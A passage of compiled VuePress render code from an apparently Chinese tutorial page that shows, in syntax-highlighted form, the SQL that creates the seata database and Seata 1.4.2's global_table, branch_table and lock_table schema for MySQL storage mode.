keyword"}},[s._v("create")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("database")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("not")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("exists")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("接下来,在seata数据库中执行Seata源码包"),a("code",[s._v("seata-1.4.2/script/server/db")]),s._v("目录下的mysql.sql脚本文件,mysql.sql脚本的内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- -------------------------------- The script used when storeMode is 'db' --------------------------------")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store GlobalSession data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("global_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TINYINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_service_group"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("timeout"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("INT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("begin_time"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_data"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_gmt_modified_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store BranchSession data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_group_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("256")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_type"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TINYINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("client_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("64")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_data"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store lock data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("lock_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("row_key"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("256")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("table_name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("pk"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("36")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("row_key"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a